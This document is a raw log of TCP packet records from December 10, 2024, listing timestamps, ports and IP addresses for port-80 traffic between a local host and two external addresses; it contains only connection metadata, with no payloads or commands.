Dec 10, 2024 05:10:37.932235003 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.932362080 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.932420015 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.933372974 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.933470964 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.933523893 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.934422970 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.934465885 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.934494019 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.934628010 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.935492039 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.935534954 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.935585022 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.935626984 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.936598063 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.936642885 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.936717033 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.936758995 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.937657118 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.937704086 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.937762976 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.937799931 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.938735008 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.938776970 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.938807964 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.938851118 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.939858913 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.939903021 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.939919949 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.939956903 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.940879107 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.940926075 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.042049885 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.042119026 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.042155981 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.042196989 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.042228937 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.042361975 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.042401075 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.043137074 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.043179035 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.043237925 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.043701887 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.043998003 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.044043064 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.044061899 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.044284105 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.044902086 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.044976950 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.044997931 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.045007944 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.045788050 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.045830965 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.045885086 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.045953989 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.046659946 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.046710014 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.046742916 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.046789885 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.047535896 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.047650099 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.047669888 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.047681093 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.048429012 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.048469067 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.048618078 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.048660040 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.049288988 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.049351931 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.049387932 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.050189018 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.050228119 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.050273895 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.050647974 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.051054001 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.051095963 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.051147938 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.051245928 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.051943064 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.052010059 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.052038908 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.052072048 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.052834034 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.052928925 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.053013086 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.053150892 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.053678036 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.053725958 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.053757906 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.053797007 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.054578066 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.054627895 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.054672003 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.054722071 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.055453062 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.055507898 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.055552959 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.056076050 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.056332111 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.056370974 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.056487083 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.056766987 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.057213068 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.057318926 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.057393074 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.057430029 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.058089018 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.058131933 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.058192015 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.058418989 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.058603048 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.058661938 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.058671951 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.058682919 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.058717966 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.058742046 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.059401989 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.059462070 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.059469938 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.059473038 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.059498072 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.059508085 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.060161114 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.060225964 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.060229063 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.060237885 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.060264111 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.060276985 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.060952902 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.060992956 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.061002970 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.061033964 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.061049938 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.061728954 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.061765909 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.061777115 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.061780930 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.061803102 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.061821938 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.062546015 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.062578917 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.062588930 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.062623024 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.062648058 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.063292980 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.063340902 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.063347101 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.063357115 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.063384056 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.063414097 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.108783007 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.108830929 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.108841896 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.108953953 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.108953953 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.109009027 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.109071016 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.109081984 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.109096050 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.109127998 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.109795094 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.109838963 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.109848976 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.109888077 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.109899044 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.110558033 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.110601902 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.110601902 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.110613108 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.110632896 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.110660076 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.111358881 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.111401081 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.111413002 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.111424923 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.111479044 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.112189054 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.112199068 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.112210035 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.112231016 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.112257957 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.112905979 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.112952948 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.112957001 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.112967968 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.112998009 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.113683939 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.113740921 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.113750935 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.113763094 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.113805056 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.114459991 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.114505053 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.114510059 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.114516020 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.114541054 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.114553928 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.115245104 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.115294933 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.115307093 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.115307093 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.115349054 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.116023064 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.116072893 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.116082907 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.116116047 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.116137028 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.116796970 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.116858959 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.116867065 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.116868973 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.116906881 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.117589951 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.117650032 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.117655039 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.117660999 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.117686987 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.117703915 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.118374109 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.118416071 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.118418932 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.118426085 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.118465900 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.118496895 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.119121075 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.119187117 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.119198084 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.119216919 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.119216919 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.119231939 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.119920015 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.119981050 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.119999886 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.120126009 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.172473907 CET	49881	80	192.168.2.5	80.82.65.70
Dec 10, 2024 05:10:38.234247923 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.234303951 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.234313965 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.234325886 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.234369040 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.234580040 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.234761953 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.234803915 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.234823942 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.234833956 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.234858036 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.234883070 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.235547066 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.235585928 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.235600948 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.235610962 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.235644102 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.236313105 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.236357927 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.236358881 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.236370087 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.236406088 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.237082958 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.237126112 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.237137079 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.237148046 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.237183094 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.237855911 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.237895012 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.237912893 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.237925053 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.237956047 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.238646984 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.238684893 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.238696098 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.238706112 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.238740921 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.239419937 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.239458084 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.239475965 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.239486933 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.239520073 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.240200043 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.240237951 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.240247965 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.240259886 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.240294933 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.240976095 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.241010904 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.241013050 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.241022110 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.241055012 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.241755962 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.241827965 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.241843939 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.241868973 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.241880894 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.242528915 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.242568970 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.242598057 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.242607117 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.242643118 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.243329048 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.243366957 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.243391037 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.243402004 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.243442059 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.244152069 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.244163036 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.244174004 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.244194031 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.244204044 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.244879961 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.244918108 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.244935989 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.244946003 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.244982004 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.245665073 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.245699883 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.245719910 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.245731115 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.245764971 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.246432066 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.246468067 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.246495962 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.246505022 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.246540070 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.247208118 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.247261047 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.247272968 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.247281075 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.247303963 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.247314930 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.248006105 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.248038054 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.248048067 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.248078108 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.248085976 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.248779058 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.248797894 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.248806953 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:38.248816967 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.248841047 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:38.291810036 CET	80	49881	80.82.65.70	192.168.2.5
Dec 10, 2024 05:10:38.300601006 CET	80	49901	185.215.113.16	192.168.2.5
